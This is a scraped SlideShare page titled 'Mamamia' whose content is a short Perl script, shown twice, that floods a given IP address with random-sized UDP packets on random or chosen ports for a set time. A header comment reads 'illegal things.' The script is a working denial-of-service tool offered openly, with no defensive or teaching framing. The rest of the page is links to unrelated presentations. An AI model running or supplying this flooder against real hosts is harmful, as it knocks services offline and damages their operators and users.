SlideShare a Scribd company logo
1 of 1
#!/usr/bin/perl

##
# illegal things.
##

use Socket;
use strict;

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ipn";
$endtime = time() + ($time ? $time : 100);
socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "n";
print "Break with Ctrl-Cn" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

More Related Content

What's hot

ネイティブ開発アンチパターン
ネイティブ開発アンチパターンネイティブ開発アンチパターン
ネイティブ開発アンチパターンYuki Tamura
 
Combine vs RxSwift
Combine vs RxSwiftCombine vs RxSwift
Combine vs RxSwiftshark-sea
 
Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds o...
Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds o...Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds o...
Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds o...Vi Grey
 
completion_proc and history
completion_proc and historycompletion_proc and history
completion_proc and historyNobuhiro IMAI
 
Rubinius @ RubyAndRails2010
Rubinius @ RubyAndRails2010Rubinius @ RubyAndRails2010
Rubinius @ RubyAndRails2010Dirkjan Bussink
 
The Lesser Known Features of ECMAScript 6
The Lesser Known Features of ECMAScript 6The Lesser Known Features of ECMAScript 6
The Lesser Known Features of ECMAScript 6Bryan Hughes
 
puppet @techlifecookpad
puppet @techlifecookpadpuppet @techlifecookpad
puppet @techlifecookpadNaoya Nakazawa
 
Scroll pHAT HD に美咲フォント
Scroll pHAT HD に美咲フォントScroll pHAT HD に美咲フォント
Scroll pHAT HD に美咲フォントYuriko IKEDA
 
Introduction to Nim
Introduction to NimIntroduction to Nim
Introduction to NimFred Heath
 
Thread介紹
Thread介紹Thread介紹
Thread介紹Jack Chen
 
[SI] Ada Lovelace Day 2014 - Tampon Run
[SI] Ada Lovelace Day 2014  - Tampon Run[SI] Ada Lovelace Day 2014  - Tampon Run
[SI] Ada Lovelace Day 2014 - Tampon RunMaja Kraljič
 
The Art of Command Line (2021)
The Art of Command Line (2021)The Art of Command Line (2021)
The Art of Command Line (2021)Kenta Yamamoto
 
Copy/paste detector for source code on javascript
Copy/paste detector for source code on javascript Copy/paste detector for source code on javascript
Copy/paste detector for source code on javascript Andrey Kucherenko
 
Damn Fine CoffeeScript
Damn Fine CoffeeScriptDamn Fine CoffeeScript
Damn Fine CoffeeScriptniklal
 

What's hot (20)

ネイティブ開発アンチパターン
ネイティブ開発アンチパターンネイティブ開発アンチパターン
ネイティブ開発アンチパターン
 
Combine vs RxSwift
Combine vs RxSwiftCombine vs RxSwift
Combine vs RxSwift
 
Git installation
Git installationGit installation
Git installation
 
ES6 - Level up your JavaScript Skills
ES6 - Level up your JavaScript SkillsES6 - Level up your JavaScript Skills
ES6 - Level up your JavaScript Skills
 
Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds o...
Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds o...Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds o...
Phishing for Root (How I Got Access to Root on Your Computer With 8 Seconds o...
 
completion_proc and history
completion_proc and historycompletion_proc and history
completion_proc and history
 
Rubinius @ RubyAndRails2010
Rubinius @ RubyAndRails2010Rubinius @ RubyAndRails2010
Rubinius @ RubyAndRails2010
 
The Lesser Known Features of ECMAScript 6
The Lesser Known Features of ECMAScript 6The Lesser Known Features of ECMAScript 6
The Lesser Known Features of ECMAScript 6
 
puppet @techlifecookpad
puppet @techlifecookpadpuppet @techlifecookpad
puppet @techlifecookpad
 
Scroll pHAT HD に美咲フォント
Scroll pHAT HD に美咲フォントScroll pHAT HD に美咲フォント
Scroll pHAT HD に美咲フォント
 
Groovy
GroovyGroovy
Groovy
 
Introduction to Nim
Introduction to NimIntroduction to Nim
Introduction to Nim
 
Thread介紹
Thread介紹Thread介紹
Thread介紹
 
Basics
BasicsBasics
Basics
 
[SI] Ada Lovelace Day 2014 - Tampon Run
[SI] Ada Lovelace Day 2014  - Tampon Run[SI] Ada Lovelace Day 2014  - Tampon Run
[SI] Ada Lovelace Day 2014 - Tampon Run
 
The Art of Command Line (2021)
The Art of Command Line (2021)The Art of Command Line (2021)
The Art of Command Line (2021)
 
Copy/paste detector for source code on javascript
Copy/paste detector for source code on javascript Copy/paste detector for source code on javascript
Copy/paste detector for source code on javascript
 
dplyr
dplyrdplyr
dplyr
 
Comets notes
Comets notesComets notes
Comets notes
 
Damn Fine CoffeeScript
Damn Fine CoffeeScriptDamn Fine CoffeeScript
Damn Fine CoffeeScript
 

Mamamia

  • 1. #!/usr/bin/perl ## # illegal things. ## use Socket; use strict; my ($ip,$port,$size,$time) = @ARGV; my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ipn"; $endtime = time() + ($time ? $time : 100); socket(flood, PF_INET, SOCK_DGRAM, 17); print "Flooding $ip " . ($port ? $port : "random") . " port with " . ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "n"; print "Break with Ctrl-Cn" unless $time; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1024-64)+64) ; $pport = $port ? $port : int(rand(65500))+1; send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}